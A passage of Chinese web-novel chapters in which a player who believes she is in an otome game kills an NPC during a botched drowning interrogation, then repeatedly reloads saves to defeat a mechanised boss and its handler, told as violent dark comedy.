没有任何回应，只有层层叠叠的回声，他仿佛是处在一个空旷的地方。
眼前一片黑暗。起初，他下意识以为是由于自己头晕头痛。后来才发现，这地方是真的黑，几乎没有光线。
等到身体恢复了些知觉，他闻到了难以忍受的恶臭——自己的下半身似乎是泡在水里，伤口处传来丝丝缕缕的疼痒，仿佛有蚂蚁在细细啃食。
他胃部蠕动，控制不住干呕起来。
“好了好了，你知道你爸爸在哪吗？”一个女声忽然响起。
手电筒的灯光亮起，“啪”地打在眼前，一张白幽幽的脸浮现在空中。
“！？”
杨帆吓得尖叫一声，本能驱动着身体，疯狂地在水中后退。
但或许是受伤，或许是太久没动、身体僵硬，他一个趔趄，整个人摔进了水中，被呛得咳嗽不止。
“啊。”
女人似乎是嫌弃地“啧”了声，单手把他从水里提出来：“再问一遍，你知道你爸爸杨……呃，杨帆？他在哪吗？”
系统：“……他是杨帆，他爸爸是杨勇。”
“呃？应该也不是很重要吧。”
玩家并不会审讯那一套，只能抓着杨帆的脑袋一直骚扰他。
“别吐了别吐了，听你这么呕着，我都有点想吐。yue！”
“你倒是说句话呀！赶紧说完赶紧走，早死早超生不好吗。”
“叽里咕噜，哔哩吧啦呜噜噜……”
响彻于耳畔的，不再是女人的声音，而仿佛变为了恶魔的低语。
她的语气并不可怕，也没有对他做出一些残忍的行为，可是……
面对如此恶心恶劣的环境，面对一个浑身血淋淋、没块好肉的人，她的语气中竟然还有种惬意悠然的天真。
像一个在玩游戏的孩子。
她的表情，她的脸……
“朝，朝晖？”杨帆忍住喉咙处的剧痛，嘶哑着道。
“嗯？”
玩家把他的头提起来，用手电筒的光直直照射上去，杨帆不得不痛苦地闭上眼睛。
这张脸此刻狼狈而浮肿，脸颊处沾粘着绿色的血迹、颜色不明的脏污，但五官倒还算端正，其实和他妹妹杨茉长得有五分像。
看着人模狗样，没想到狼心狗肺。
呸，辱犬科了。
“你真傻，真的。”朝晖叹了口气，“知道一个npc最好的品德是什么吗？那就是不要惹到重要的剧情人物！”
“你看看，猫猫这种从主线开始就一直陪伴玩家，一看就是重要npc的角色，你惹了她，还做出如此不符合社会主义核心价值观的事，那必然就会成为被打败的boss嘛！”
不过这个游戏毕竟不是一款战斗游戏，打boss的难点也不是战斗操作，而是和警察之间的斗智斗勇。
竟也难得算得上一种乐趣……？
可恶，难道这就是你们的创新点吗！
系统：“……亲爱的玩家，还请您注意自身安全，尽早转移到合适的地方，免得进了局子还得读档……”
朝晖惊讶：“诶，你们ai系统的自我成长功能做的不错！现在的台词听着比以前舒服多了。”
系统：……
在玩家和系统插科打诨的时间里，杨帆一直昏昏沉沉的，问他什么也不说。
要让朝晖干点儿“刑讯逼供”的活儿吧，她也实在是没什么经验。
这不，本来她想试试以前在电视剧里看过的“水疗”（？），就是不停地把杨帆的脑袋往水里按，让他溺水、反复地经历这种痛苦，最后瓦解他的意志力。
听起来难道不是很科学吗！
结果玩家没有经验，不太能掌握得好溺水的时间、被审讯者的状态……
等她反应过来的时候，杨帆已经凉凉了。
这是她进入游戏以来，第一次杀掉一个人，或者说人型怪。
“您杀死了【杨帆】。注：此人物具有唯一性，不会复活。”
“您获得了奖励：经验x800，金钱x800，声望-10。”
“您获得了未知效果：【？】+1。”
玩家：？
看到这条通知，系统大惊失色！
它忘记了自己是个不需要呼吸的ai，不存在心脏似乎被一只大手攥紧。
朝晖确认自己没有留下什么破绽后，就随手把杨帆的身体丢到一边，好奇道：“诶，明明没有任务，但却有奖励？看来他只是个boss，奖励就跟支线任务一样，还不掉装备，啧。”
“话说这个未知效果是啥？”
系统松了口气。
还好……玩家没有忽然暴起，把有名有姓的npc挨个儿干掉，只为了奖励。
它欠揍地回答：“亲爱的玩家，游戏内容还请您自行探索。”
“……”
眼看撬不出什么信息了，朝晖也没在意。
她存好新档，把【电击治疗手/木仓】对准自己，子弹射出，存储的异能被激发——
“？”
玩家虽然感觉不到疼痛，但一时之间竟无法控制身体，四肢抽搐起来！
“卧槽，原来我有网瘾吗！！”
系统：……
这，难道不是显而易见的吗……
玩家悲愤，玩家怒号，玩家抹泪。
触电debuff要持续8秒，可她的触手时间有限，越用越少啊！
而且完整体的debuff会整整扣掉80滴血，恢复量才60。
没办法，身残志坚的朝晖舞动着眼珠子乱晃的触手，跌跌撞撞地把杨帆卷起来。
“饿”了许久的触手们得到允许，顿时一拥而上，几秒钟之后就把他吞噬得干干净净。
把痕迹都处理掉后，她化身一只酒醉的蝴蝶，挥舞着歪歪扭扭的触手们，在水里打着拐，沿着水流的方向游去。
没有问到杨勇的情报，倒也还算在意料之中，她游了一会儿，从城市内某个偏僻的小巷子里钻出来。
这是她第一次走到如此地步，上个存档，她甚至都没能跑出大厦。
接下来的发展就是“全新”的了。
既然没问出杨勇的地址，那么朝晖打算先试试经纪人的办法，营造出杨帆被绑架的假象，威胁杨勇独自来给钱。
后续怎么逃跑，就再看呗！
她自认为是一个有耐心、有毅力的玩家，也对自己的游戏技术（？）抱有信心，对这次进度的推进十分满意，且已经做好了多次读档重来的心理准备。
可她没想到的是，意外会来得如此猝不及防。
（29）
本次存档，是朝晖第一次真正杀死杨帆。
距离他死去正好二十分钟时，她刚刚离开下水道口、在附近和提前到来的李长庚汇合，正坐在他那辆破破烂烂的车里换衣服。
一股不详的预感忽然涌上心头，难以忽视，难以形容。
朝晖讨厌这种感觉，她立刻皱起眉，下意识道：“游戏仓的连接器出问题了？我觉得不太舒服，系统你帮我查一下。”
她自从进入游戏，还从未有过“不舒服”的感觉——游戏的打击感做得很好，疼痛是几乎没有的，体感温度也一直保持在合适的区域内，这应该与她使用了公司提供的高级游戏仓有关。
系统道：“自查完成，游戏仓连接完好，无异常。”
朝晖打开自己的个人面板，马上就发觉了问题所在。
面板上多了一个显眼的debuff，【被锁定】。
【被锁定：某只眼睛正注视着你。持续时间：72小时。】
“这只是游戏内的debuff？”她不敢置信，“能把情绪和感觉都做得如此细腻？”
系统仿佛忽然之间变回了原本那个死板的ai，一字一句道：“请玩家自行探索。”
朝晖在嘀咕的时候，李长庚正偏过头去，望向窗外。
由于读档次数略多，玩家也不可能每次都跟员工们解释清楚。
好在他们似乎都会受到之前存档的少许影响，加上她本来就拥有“可以让别人更加相信自己的话”的天赋能力，被她指挥之后都选择压下疑问，遵从指令。
因此，李长庚不知道朝晖去做了什么，对方没说，那就算了——
当司机一般是最安全的活儿。
手机震动，李长庚伸出自己苍白、骨骼突出的手，将它从口袋里取出，犹豫了片刻。
“接。”朝晖道。
李长庚点头，轻轻滑动手指打开免提。
“出大事了。”
电话的另一头是那位警察局的“上线”，也是负责给李长庚这个“黑手套”派任务的人。
他急急道：“你现在马上去红叶街15号的小巷，我稍后把详细定位发给你，到了之后在旁边等待下一步指示，知道了吗？”
“报酬会很丰厚，放心，这笔赚完你估计可以休息一段时间。”
让他休息，就是任务很危险的意思，他可能会身受重伤。
可是……
李长庚怔怔抬头。
他开着的这辆破车，此刻正停在小巷里。
巷口的生锈铁牌上，正写着“红叶街15号”几个白色小字。
“是，是什么任务，要做什么准备？”他尽量控制自己的声音，不因未知的未来而颤抖。
“来不及了，你先过去——把枪带着，后续等我通知。”
李长庚“嗯”了一声，快速把电话挂掉：“……他们查到了你的手机？”
朝晖的手机在车上，定位一查就能查到。
可她的身份，难道这么快就暴露了吗？
李长庚确实是干过一些违法乱纪的事情，还是在上级的指使下去干的……这种紧张程度和现在完全不同。
被锁定了身份和位置，就算她能逃掉，他和姐姐也不可能逃得了。……姐姐的选择真的是对的吗？'');(window.adbyunion = window.adbyunion || []).push(id);})();
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他的大脑一时有些混乱，察觉到朝晖已经换好了衣服，于是扭头去看她。
看到了一张依旧那么漂亮的脸，那么阳光的眼神。
她的脸上甚至带着兴奋！
“难道是长达三天时间的追逐战…！？”
“不舒服”的感觉一旦适应，带来的就是刺激肾上腺素的压迫感。
这就跟面对一个超级强力的大boss一样，万一最后赢了，那带来的成就感绝对是无与伦比的爽啊！
系统：？
李长庚也不能理解：？
朝晖一把抢过方向盘，把违规驾驶的未成年赶去副驾：“走走走，我们出发——哼，从这个debuff效果来看，我大胆猜测boss压根不知道嫌疑人是我，只是知道我的位置而已。”
“也就是说，假如我逃过了这72小时追踪，十有八九就能完全洗白了！”
“诶，不对，莎莎那里可能拖不了那么久……”
她是从宿舍偷溜出来的。
莎莎会帮她找理由，拖延一段时间，现在星光训练营的人只会以为她在伊尔莎的宿舍。
但莎莎的室友肯定不可能一直在外面溜达，最多也就能拖到中午——玩家原本就是打算在这个时间点回去。
下午还要参加录制呢！
算了，时间紧迫，也来不及想那么多了。总之先体验一下紧张刺激的追逐战再说吧！！
朝晖一脚油门，破车发出不堪重负的喘气声，在原地狠狠蹬了两脚，一溜烟窜出。
车还没开到街口，异变骤生。
李长庚瞳孔皱缩：“！”
“诶？”
朝晖觉得哪里不太对劲，但她一时之间没有发现问题何在。
哪怕有着40点力量，13点耐力，她的敏捷却只有5——游戏中普通人类的平均水平。
面对普通人，这点反应速度是足够了。
可如果对方不是普通人呢？
李长庚“嗖”地一声消失在副驾驶，像某种敏捷的动物，长腿一蹬，从窗口一跃而出。
再然后，车子失去了驾驶员，随着惯性而猛地撞在了墙上，爆炸声连绵不断，火花四溅，火势如流水一般蔓延。
朝晖这才发现，自己已经浮在了半空中，被一个人单手提着。
那个人提着她，就像是她曾经提着经纪人那么简单——对方甚至还用一条腿就挂在了墙上，黑色紧身裤包裹着的小腿上，全是充满爆发力的肌肉。
“已发现目标。”对方冷冷地说，“没有杨帆的尸体，可能被丢在别的地方了。”
是个冷漠的女声。
朝晖被提着脖子，那只手仿佛铁钳一般禁锢着她，也不怕把她给掐死——幸好玩家似乎并不怕这个，连血都没掉，只是脖子被限制，行动受阻。
这让她无法抬头看见对方的脸。
她伸出手，抓住对方掐着自己的那只胳膊，试图把它掰开。
随即，她便惊讶地发现，哪怕她用尽浑身力气，这也似乎是一件不可能的事，因为这只手臂根本不是坚如钢铁。
它——就是钢铁！
抓着她的人似乎收到了什么“指令”，伸出另一只手，把她的头抬起来，用手腕上的便携设备拍了张照。
也因此，朝晖得以看清这个女人的脸。
这是她进入游戏以来，给她留下印象最深的一张脸。
五官清秀，看起来年轻极了，眼眸低垂，细密的睫毛在脸颊上投下阴影。
她没有头发，表情极为冷漠。
这是一张普通的脸，没什么特别的地方。朝晖却把她深深地刻进了脑子，因为她是目前为止唯一一个能压制住玩家行动的、如此强大的“boss”。
boss头上浮现出血条，长长的，看不见数值——玩家已经明白，主动攻击她的人才会有血条。
“朝晖？”光头女皱眉，“未检测到异能者波动，面部扫描吻合，疑似力量型异能者。”
她说到一半，另一只手臂忽然一动，某种黑色的东西从她的手臂上弹出的装置射出，直击远处一抹快速移动的黑影。
然而那黑影速度非常快，他似乎位于远处观望，见光头女攻击，腾挪转身，三两下就不见了踪影。
朝晖微微偏过头，看见了黑影脑袋上若隐若现的三个字。
“就是朝晖，那个人跑了，不是他。”光头女道。
玩家耳朵一动。
她挥舞着手，指了指自己的脖子，又张开嘴，表示自己想要开口说话。
光头女并不理她，而是侧耳倾听耳机中传来的指示。
过了一会儿，她点点头，冰冷的目光挪回玩家脸上，与她对视。
朝晖以为她会放开自己，让自己开口说话，却没想到，对方忽然手中用力，“咔擦”一声——
玩家的身体变成了一具头身分离的玩偶，从半空中“啪嗒”地掉落在地上。
光头女轻轻一跃，无声地落在她身边，捡起她的头颅，转身离开。
*
“您已死亡，已自动为您读取最近的存档。”
朝晖回到了下水道里，此刻杨帆刚死，她还没使用掉手/木仓中储存的异能。
被人扭断脖子，哪怕没有痛觉，那感觉也绝不好受。
比起痛觉，更令人感到压抑的是来自心理上的被压制感。
但朝晖只皱眉休息了一小会儿，便重新投入“boss战”。
“刚才那个就是追逐战的boss吗？”朝晖也不着急了，在下水道里找了块儿没水的台子席地而坐，“好强啊，我40点力量竟然毫无反抗之力。”
系统沉默片刻，轻声道：“那应该是与‘机械化’有关的异能，这种异能者身体强度都非常可怕。”
“游戏里没有boss图鉴吗？有没有详细一点的资料啊？”朝晖打开小本本，把情报记录下来。
“……没有。”系统道，“这属于……属于隐藏npc，相关资料卡需要您自行探索。”
朝晖有点失望，却也不算意外。
开荒嘛，正常的，就是乙女游戏竟然还会出现这么厉害的boss，真是奇怪啊。
系统：……不是你自己想把乙女游戏玩成这种模式的吗！
怎么真的出现boss了之后，你又在这儿怪起游戏来啦？
朝晖叹了口气：“哎，该不会这种强力boss其实会把女主抓起来威胁男主，然后男主就会通过各种机智的办法英雄救美？两人在危险之中互生情愫，好感度upup，在血与火之中深情对视、慢镜头kiss？”
系统：……
你这么懂，你去写游戏剧情算了！
朝晖其实也就是自己嘀咕一下，这可不全是为了吐槽，她认为这种猜想还是比较可靠的。
假如她的猜想成立，那么就意味着男主的异能水平应该不会比boss差太多，甚至应该更强才对。
没钱也就算了，要是异能还不够强，还好意思当男主吗！
可惜，她的盗版没有正版强，最多只能复制75%的能力。
“果然我是越级杀怪了吧！不过没关系，英勇的玩家不会畏惧任何挑战！”
首先，上周目的boss留下了一个非常重要的线索：
在找到朝晖之前，她应该并不知道玩家的身份，只是能通过【锁定】debuff来确认她的位置而已。
这个debuff持续足足72小时，对方又那么强，肯定很难通过追逐战的方式甩掉了，她只能正面迎战。
问题是，就算她存着异能带过去，75%的男主异能，能打过boss吗？
“可惜小李的异能派不上什么用场，不然借他的也很方便。”朝晖暗道，忽然眉头一皱，“不对啊，上周目他一个照面就被boss打得掉头乱跑，考虑到他的异能更像是坦克/辅助，勉强算是情有可原。”
“但纯粹的坦克辅助，能跑那么快？”
39. 云端能源（30）
异能者的身体素质一般会好一些，但好得很有限。
从目前的线索来看，boss应该是个力速双A的六边形战士，没有什么花里胡哨的技能，主打一个自身强化，碾压一切。
虽然是越级打怪，但也算是符合新手boss的基本法：机制简单，数值较强。
一般来说，哪怕是再菜的新手，苟一苟、升升级，把自己的数值也堆上去，都能打过。
但朝晖都已经走到现在这一步了，假如让她灰溜溜地回去告诉猫猫，说她暂时干不掉敌人……
就很没面子！
反正能读档，开荒也挺有趣的，那就先试试呗。
“李长庚真的只是自我恢复的异能吗，会不会还包含了身体强化？”朝晖敲敲系统。
“请玩家自行探索。”
“啊～好吧好吧，游戏资料真是不完善啊。”
这回，她要把手枪里的异能留下来对付boss，所以她只能先把杨帆的尸体丢在原地，自己游泳前往下水道口。
两条腿游泳的速度远不及触手，于是她还没游到一半，就听见头顶上“哐当哐当”的声音传来。
“轰！！”
管道口上方的街道被暴力拆开，朝晖躲开纷纷下落的石块、金属碎片，抬头望去。
boss那张熟悉的脸逆着光，冷冷看向她。
“20多分钟？差不多，也就是说杀掉杨帆后的20分钟左右，在我所处的位置召唤boss。”朝晖点点头，然后立刻掏出【电击治疗手枪】，对自己来了一发。
自从她之前被不小心吃掉过道具和头发（？），后续她就会有意识地控制触手，不去吃不该吃的东西。
该说不说，用触手卷道具随身携带其实还挺方便的。
这电击手枪的debuff着实有些难受，所以下次打boss的时候，她最好是直接通过射击别人的方式偷异能。
存着的那一个，本来就是以防万一的，在她没有回血药、续航很是垃圾的现在，用来跑路更好。
玩家的身体抽搐起来，触手自下而上开始蔓延，boss竟然人性化地一惊，停下手中动作。
但她头上依旧浮现出血条。
“噢噢噢，这就是开战前必有的动画界面？boss一般都会乖乖等待玩家变身完成，然后才出手，果然是古往今来的固定套路，策划诚不欺我。”朝晖兴奋地嚷嚷着。
“……污染物？”
boss依旧是那副冷冰冰的模样，她用手上的设备拍下朝晖的模样，发给不知名之人。
也不知道耳机里的未知人物说了些什么，她暂时没有动手。
8秒时间转瞬即逝，朝晖扣了80血、回了60，加上之前触手续航时的消耗，血量仅剩64。
一秒也没有浪费，朝晖立刻挥舞着触手冲了上去——这是她第一次使用该异能进行一场真正的战斗！！
然而，令人惊讶的是，boss不仅不应战，甚至还向后退去。
她速度很快，且没有去向地面，而是在下水道里奔跑。
她身上似乎有照明设备，非常显眼，但朝晖“变身”后全方位加强了的身体素质，也很难追上她。
“啊？”玩家很着急，“该不会有什么等级、属性的硬性要求吧，追不上她就打不了？”
系统：……
都说了是乙游不是战斗游戏，你到底是怎么脑补出那么多奇奇怪怪的设定的啊！
没想到朝晖理了理思路，立刻发现了突破口。
“污染物？那是什么？唔，看来boss的对话中也隐藏着不少线索啊……”
玩家低下头看了看自己，一堆长满眼睛的触手上，长出小半截人类身躯，属于触手的部分还在缓缓向上蔓延，画面相当精神污染。
boss表情依旧很冷漠，但仔细观察便能发现，那冷冰冰的眼神中隐藏着一丝丝震惊，以及仿佛在家里看到了南方大蟑螂那般的嫌弃。
“我明白了！！”
朝晖的手臂被触手“污染”得破破烂烂，于是她用一根尖端处正好长着三个大眼珠、造型颇有流星锤风范的触手猛拍地板，“污染，我这个异能之所以有debuff，就是因为我被污染了嘛！所以她肯定是担心我碰到她之后污染到她。”
“这个异能，不仅战斗力强悍，竟然还带毒，可以传染吗！？太牛了！！”朝晖兴奋地拍着地面，“可之前我也用触手卷过杨帆，他好像没啥事啊。”
boss虽然不愿意接近她，但一直和她保持着适当的距离，没有离开。
玩家方才那番话嚎得挺大声。boss耳朵动了动，竟然一板一眼地回答了她：“一般来说，只有异能者才会受到污染。”
“杨帆是普通人，你的污染能力有限，他不会受到污染。”
“你的意识……似乎被保留得很好。”boss古井无波的脸上出现了一丝疑惑，“你的下半身已经完全被‘污染’了，你……不疼吗？”
“不疼啊。”
既然这个存档内注定不会有什么进展了，朝晖索性也停下脚步，饶有兴致地看向boss。
果然，她一停，boss便不再动弹。
朝晖立刻开始讲话：“快说说，这个污染是什么意思？常见吗？为什么只有异能者才会被污染，一般来说不是普通人反而更危险吗？话说你在跟谁打电话，是不是【锁定】我的那个人呀，看来我还得把ta干掉才行……你们是哪里人？”
boss：……
似乎是收到了耳机中的指令，boss沉默片刻后，对她说道：“你快死了，如果你现在让自己失去意识，还有可能留下一条命。”
“父亲说，你很有价值。你现在对自己用这个东西，我可以保你一条命，杨帆的事情也可以不再追究。”
她和电话中的人都以为朝晖会反抗、挣扎、提出一些额外条件，“父亲”还在电话内跟她说明了一些谈判的话术。
没想到朝晖非常开心，立刻就答应了：“好啊，怎么让我失去意识呢？”
boss：……
能从设备中听见对话的“父亲”：……
“用这个。”
boss拆下自己裤子口袋内的□□，给她扔了过去。
她速度和力量都比朝晖强得多，完全不担心对方会反杀，也随时可以将对方杀死。
没有下杀手，只是因为对方还有用。
朝晖拿起来好奇地研究了一下，对着自己按下按钮。
“呜哇哇哇哇～～～～”
顶着个人类脑袋的触手怪被电得嗷嗷直叫，但不是痛的，而是因为控制不住自己乱抖的肢体而觉得……有点好玩？
“这～～哇哇哇～～这个好像晕不了～～呜噜噜～～我掉血～～有点快～！！”
朝晖电着电着，一不小心把自己电死了都没能晕过去。
boss：………………
【新存档xN】
重开后，朝晖直接在办公室干掉杨帆，把门锁好，压根就没转移，在原地乖乖等着boss破门而入，告诉她：“带我走吗？我能变成大触手哦，你看。”
她的手放在身侧，一片卫生纸轻飘飘地落在昏迷的卫文谨手臂上。
然后以迅雷不及掩耳之势，把自己的裤子脱了！！
boss：？？？
触手如潮水般浮现，又在她停止“偷窃”效果后，很快“死去”，慢慢消失，变为人类的身体。
这场景，和某些“变形类”的异能非常相似。
……但触手上散发出的气息分明属于“污染物”！
变完后，朝晖没忘记羞涩一笑，把裤子穿上：“变来变去的怪浪费衣服，抱歉啊，我没有耍流氓的意思。”
boss：“……？”
她总觉得眼前的一幕带给她强烈的既视感，本能似乎在告诉她，朝晖说得是真的。
“父亲”更是道：“别让警察发现，直接把她带回来！”
光头女boss“哐”一下给朝晖的后脖子来了一个手刀，将她敲晕。
未免意外发生，她还掏出一支针管，将其中的不明液体注射进玩家体内。
随后，她单手提着玩家，沿着下水道轻盈地跳跃，很快消失在原地。
*
进入“父亲”周
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围一定范围后，【被锁定】的状态就消失了。
“父亲”所在的位置，似乎离云端能源大厦不远，离红叶街15号也不远。
这是朝晖的个人体感，但光头女boss速度贼快，不一定准。
不知道是否出于异能者的自信，她没有对朝晖进行搜身，那把小巧的【电击治疗手枪】安稳地放在宽松的清洁工工装裤口袋里，很不明显。
抵达目的地后，朝晖被随手丢在地上，另一边传来开门声。
“警察那边要如何应对？”光头女边走边问。
朝晖知道，她被丢在了一间类似于“观察室”的房间内。
单向玻璃，外面能看见里面，里面却看不见外面。
这个房间的材料强度极高，以人类之力，恐怕没办法打破。
对玩家来说，那就是墙壁不能交互，没有钥匙无法打开大门。
所以朝晖在boss丢下她、转身离开走了几步之后，手指轻动，伸进裤子口袋里给自己来了一枪。
——存储的异能还有一个好处，就是不像直接射击那样，只有50%几率偷到异能。
但这个8秒钟僵直就没办法了。
以她目前的【偷窃之手】等级，偷窃触发之后，8秒内她会有100%的异能效果，之后才会衰减到75%；
但电击手枪带来的debuff，又会让她在这8秒时间内很难操控自己的身体。
不过没关系，只是很难罢了，又不是不能！
光头女boss猛地回头，眼前闪过一些似是而非的记忆碎片。
……这是她第一次带朝晖回到这里吗？
“父亲”就站在门外，不知他是否和光头女产生了相同的感受，心中忽然涌上不妙的感觉。
他来不及提醒光头女，后退一步，下意识把手放在了关闭大门的按钮上——
却已经来不及了。
在他们产生心理活动的这几秒钟内，朝晖已经操控着双腿化成的触手，快速地爬向光头女的位置。
光头女根本没有回头，察觉到动静的一瞬间，她就以肉眼看不见的速度朝门口跑去。
——那么大剂量的麻醉剂，朝晖竟然是在装昏！？
她身上可能带着污染，万一中招，十死无生！
眼看即将到达门口，不知为何，光头女却并没有松了口气的感觉，反而是笼罩于心头的不详愈发浓郁。
“哼哼。”
玩家根本没有去追她，而是抬起手，对着大门的位置就是一枪——
【电击治疗手枪】。
子弹击中了光头女。
为确保触发50%的偷窃几率，朝晖连发四枪。
好在这把手枪射程不远，射速倒是挺快，四发之中有三发都击中了boss。
光头女的身体抽搐起来，但她的身体非常强大，这点触电debuff还不足以让她丧失行动能力，只是——
她用不出异能了！！
当然了，这也不是朝晖的目的，四发子弹——只要不是霉神附体，足够偷到异能了，这是她被boss杀死9次之后，总结出的经验。
“父亲”忽然感受到一股令人窒息的恐慌，他不打算再管光头女的死活，立刻按下关门按钮。
但他的反应实在是太慢了。
刚才，光头女并没有用上全力，因为她暂时未能意识到事情的严重性。
——就算有着少许“记忆残留”，由于其过于碎片化、模糊不清，不足以作为“朝晖比想象中要更加危险”的证据。
在她的印象中，朝晖的速度极慢，完全被她吊打，不足为惧。
这点疏忽，此刻却造成了不可挽回的差距。
朝晖时刻准备着，在拿到异能的一瞬间，趁着8秒之内可以获得100%能力，立刻用“机械化”的能力强化双腿和神经，以人类无法想象的速度，几乎是“瞬移”到了门外。
“父亲”的异能不过是类似于“追踪”的能力而已。他不借助武器的话，基本没有战斗能力。
朝晖“咔擦”一声单手扭断了他的脖子，他的血条直降到底，身体抽搐着软倒，再无声息。
40. 云端能源（31）
脖子像被破坏的水管，折成L字型。绿色的血液从大动脉喷涌而出，溅在她的脸上，溅入她黑白分明的眼睛里。
朝晖丢开还在喷血的尸体，转头看向光头女。
“你做了什么！？父亲！！！”
光头女的异能已经恢复了，她扑到那面单面透光的玻璃墙上拼命捶打，却只是徒劳。
这个原本用于囚禁“试验品”的房间，如今成为了困住她的牢房。
“父亲”已经按下了按钮，失去异能的光头女虽然不会丢失已经强化的部分，但她不能再次强化自身，没能在大门关闭前跑出来。
可她知道了朝晖的身份，朝晖必须杀了她。
“唉，时间不多了。”
玩家存了个档，熟练地打开这个“实验室”的大门——门外站着的，正是李长庚。
这是李长庚第一次来到此处，却不知为何觉得有几分熟悉。
“一会儿把这门守好了哦，上次就给她跑了，这回可不能再失败。”朝晖拍拍他的肩膀。
李长庚：“……？”
习惯性地发布完命令，玩家并没有等待他的回复，而是径直走到“牢房”之前，打开可以与被关押者对话的麦克风。
“你爸死啦！唉，没想到搞到最后是双子boss，打不过还会跑，真是难办啊！”朝晖嘀嘀咕咕着，“上周目本来想先干掉你，结果你的血条竟然那么厚！你爸这人也真是，打不过就报警是什么意思啊？是不是玩不起！！”
“就不能来一场真女人之间堂堂正正的战斗吗？”
听到父亲死讯的光头女boss，虽然已经有所预感，却依然难掩情绪。
她沉默下来，脱力般滑坐在地上，然后忽然双眼发红，仰天长啸一声，疯狂地在整个房间内哐哐捶墙！
简直就是教科书般的boss狂暴画面！
“真是父慈女孝啊，先杀女儿的话爸爸会摇人，先杀爸爸的话女儿又会狂暴。第一个boss就是这么难的双子boss，难不成是跳过了什么剧情？”
朝晖一边在麦克风里说着骚扰的碎碎念，一边在外面的房间内翻箱倒柜，把能互动的东西全部翻一遍。
有些上锁的柜子、打不开的抽屉，在玩家眼里就等于不能互动，被她无视。
李长庚：“接下来做什么？”
本周目内，他根本没有见过朝晖，计划全部是通过伊尔莎来传达的。
事情很简单：让他把他的枪送到指定地点，然后在指定时间来到此地。
一切都是那么的简洁却高效。
而亲眼见到朝晖，他也似乎并不觉得陌生，反而很习惯地开始服从她的指示。
“等几分钟吧，让她自己在里面消耗一会儿，折腾累了的话她的实力会下降。”
朝晖瞄了眼系统自带的时钟，一脚踩在桌子上，另一只手去够放在柜子最上面的保险箱，“警察应该没有发现我吧？”
“云端能源大厦被封锁了，详细的情况我就不知道了……”
朝晖微微一笑，“没关系，这俩boss是多好的背锅侠啊！”
她本周目噶掉杨帆的时候，还特地模仿了光头女boss惯用的杀人手法。
和boss打了好几个周目，朝晖不仅对于对方的技能烂熟于心，就连对方的走位方式、揍人的小习惯都摸得清清楚楚。
此boss唯爱掐人脖子，动不动就掐她，而且很喜欢直接把脖子整个掐断，让动脉血cos喷泉，把整个场地涂得绿油油（？）的。
因此，刚才杀“父亲”的时候，她也用了这个手法。
“父亲”死掉之后，系统提示她有奖励，不过时间紧急，她瞄了一眼感觉暂时没什么用，就先不去管它。
“五分钟了，她也捶得有点累了吧？感觉差不多可以开打了。”
光头女的异能，是可以将身体的一部分“机械化”，获得强度上的极大提升。
与之前朝晖所遇到的异能不同的是，这个异能的作用是“改变”，而不是“维持”——就像力是改变物体运动状态的原因一样。
所以此前，boss被她偷到技能、暂时被“沉默”的8秒钟，身体的强化状态并不会消失，只是不能继续进行强化，或者改变强化状态罢了。
拿到这个异能之后，朝晖就把全身上下哐哐强化了一遍。
没想到强化的时候要额外花精力，她就留了一半精力值，供【偷盗】所需的消耗。
这个异能真的特别厉害，看似朴实无华，却非常好用，维持着它只需要每分钟1点精力的消耗，既不会掉血也不会耗蓝，看得玩家心动死了！
可惜，boss还是得杀，不能像男主那样随身携带。
不知道为何，一旦亮过血条，朝晖就不会再把对方当成npc，而是完全当成了怪——
游戏中的“怪”，自然是一种不需要沟通交流，只需要干掉就行的生物。
所以她并没有想过要去招募这个boss。
现在的她，简直就是钢铁侠和绿巨人的结合体，猛翻啦！！
遗憾的是，偷来的能力只有75%效果，所以她不得不拜托李长庚来给她当一下小帮手，免得boss跑了。
“这么帅的异能，却是用一秒少一秒，唉！”
朝晖觉得十分可惜，“哐”地一拳捶在地上，地板被她捶出一个大洞。
李长庚：“……”
计划很简单，就是朝晖进去和boss打架，李长庚要在朝晖进去后，在外面光速把门关上，不能让boss溜出来。
相当于将玩家和boss关进一个1v1的格斗场。
毕竟，玩家不怕打不过，怕的是这个boss掉头就跑。这种比拼硬速度的时刻，她75%的盗版当然是比不上正版。
——可别以为boss狂暴了就小瞧她的智商，玩家已经吃过好几次亏了——这个游戏的怪可鬼着呢！
打完之后，让小李再开门把玩家放出来就行。
一般来说，这种把自己的生命和安全交付到他人手里的任务，都只会交给最为信任的人。
……可他们明明才第一次见面啊，唯一的联系只有伊尔莎罢了。
“我要进去了哦，眼疾手快明白吗？”朝晖存好档，回头叮嘱李长庚，“我看你速度挺快的嘛，没有比她差太多。”
李长庚抿了抿嘴，慎重地点点头：“嗯。”
失败个几次也没关系，读档再来就是了。所以朝晖也并不紧张。
“3，2，1，开吧！”
李长庚竖起耳朵，肌肉紧绷，在她话音刚落的瞬间，就按下了开门按钮。
令人惊讶的是，他们的配合一次就成功了。
“牢房”的内部是看不见外面的，boss对外界的事情一无所知。门一开，朝晖便闪身进入，一脚把boss踹到墙上——
李长庚如同提前计算了时间一样，提前一点点按下关闭按钮，卡在朝晖闪身进去的那一刻，刚开了一点儿的大门飞快地合上。
“咔哒”，是大门上锁的声音。
boss被她踹到墙上后，狂暴的状态似乎有所缓解，睁着一双猩红的眼睛，开始了惯例的开打前走剧情：
“你真正的异能是复制类，非常强……你到底是从哪里冒出来的？身上没有任何异能者波动……”
朝晖有个【异能·伪】，使用后就可以让她的身上散发出某种异能者特有的“波动”，帮她伪装成异能者。
但她是个偶像练习生诶！
除了在安全局的时候需要应付姜局长，谁没事会把这个东西打开呢？
朝晖活动活动自己刚刚强化过的机械身体，轻盈又富有力量，这感觉真是太好了。
并且她也发现，如同以前走主线任务的时候那般，现在boss过剧情的时候，也并没有让她不能动弹，被迫看cg。
那还等啥？
朝晖表示，自己没有武德。
她对于boss的剖白充耳不闻，直接就冲了
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上去，开始揍人！
boss的话语可疑地一顿，反应丝毫不满，立刻开始反击。
两人乒乒乓乓地打作一团，很快朝晖就被boss揍飞，基本毫无反抗之力。
李长庚位于安全观战席，见此情景，他呼吸一滞，拳头捏紧，一时间不知该如何是好。
……要进去帮她吗？
可是她说了，最重要的是不能让对方跑掉……
“哼，果然硬打是打不过boss的。”
玩家丝毫不慌，从口袋里掏出一袋回血药塞进嘴里——
刚才她在外面搜刮物品的时候就发现了，这地方放了一个医药箱，里面药品很不少，一看就是boss战即将开始，提供给玩家进行补给的。
游戏还是蛮贴心的嘛。
玩家的逆天之处在于，只要回了血，伤口自然就消失了，完全不会影响后续行动。
除此之外，她还有道具可以用。
卫生纸没能带进来，但她的枪里还有两发子弹。若她再苟上几分钟，又能多一发。
